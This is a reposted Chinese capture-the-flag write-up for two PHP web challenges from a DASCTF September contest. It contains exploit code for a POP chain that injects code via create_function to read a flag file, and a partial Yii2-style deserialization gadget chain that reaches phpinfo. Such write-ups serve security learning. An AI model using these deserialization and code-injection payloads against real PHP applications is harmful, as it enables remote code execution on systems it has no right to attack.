IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> DASCTF Sept X 浙江工业大学秋季挑战赛 web -> 正文阅读

[PHP知识库]DASCTF Sept X 浙江工业大学秋季挑战赛 web

hellounser

<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
    
    
}


$a = new A;
$b = new B;
$b->func = "create_function";
$b->arg = "}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
#$b->arg = "}var_dump(get_defined_vars());//";
$a->var = $b;
print(serialize($a));

Pop链构造没啥好说的,后面代码注入,就是之前题改的
createfunction()代码注入

xxc(不完全,只打通了链子)

https://blog.csdn.net/weixin_39924779/article/details/113330709 的Yii2(2.0.39.3)反序列化链挺像的应该就是魔改了下。
先放exp,不过我只能打出个phpinfo,卡在这不知道该干嘛了,链子的最后call_user_func那第二个参数被写死了。有没有师傅教教该咋整,网上还没找到wp。
Exp:

<?php 
namespace Method\Func{
	class GenerateFile{
    public $flag = "myTest";
    protected $buffer;
    public function __construct(){
                $this->source->generate = "phpinfo";
            }
	}

	class GetDefault{
		private $source;
		public function __construct(){
                    $this->source = new GenerateFile();
                                    }
	}

    class GetFile{
            private $flag;
            private $files = [];
            public $value;
            		public function __construct(){
                    $this->flag = new GetDefault();
                    $this->value = "test";
                                    }
        }
    }

namespace Faker{
	use Method\Func\GetFile;
	class MyGenerator{
	        protected $defaultValue;
	        public function __construct(){
	                $this->defaultValue = new GetFile();
	                        }    
	                    }
	                }

namespace Control\State{
	use Faker\MyGenerator;
	    class StopHook{
	        protected $processes;
	        public function __construct(){
	                $this->processes = [new MyGenerator()];
	                        }    
	                    }
	                }
namespace{
	echo base64_encode(serialize(new Control\State\StopHook()));
}
?>

在这里插入图片描述

下面是pop链分析:
在这里插入图片描述

Index.php找到序列化入口,寻找__construct或者__destruct方法,\class\Control\State\StopHook.php,存在可被利用的__destruct方法
在这里插入图片描述

$process->stop()通常可触发__call\class\Faker\MyGenerator.php 存在__call,其内部还有echo可以去触发__toString
在这里插入图片描述

可能是构造序列化链子里有私有变量,导致__get会和__call一并被触发。变量defaultValue的值也就能到未定义的变量defaultCall那了(值传递是猜的具体也没搞明白咋过去的,本地试了下__get__call去掉哪个都不行)
再下面的路就很清晰了

class\Method\Func\GetFile.php
__isset(),当对不可访问属性调用isset(),这里刚好有一个
在这里插入图片描述

class\Method\Func\GetDefault.php $s($length)这种形式的可以触发__invoke
在这里插入图片描述

class\Method\Func\GenerateFile.php
在这里插入图片描述

到达函数执行点,很可惜这里第二个参数被写死了。不知道做出来的大佬是咋整的,还是说我挖错链子了?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-29 10:00:59  更:2021-09-29 10:03:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 3:49:04-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计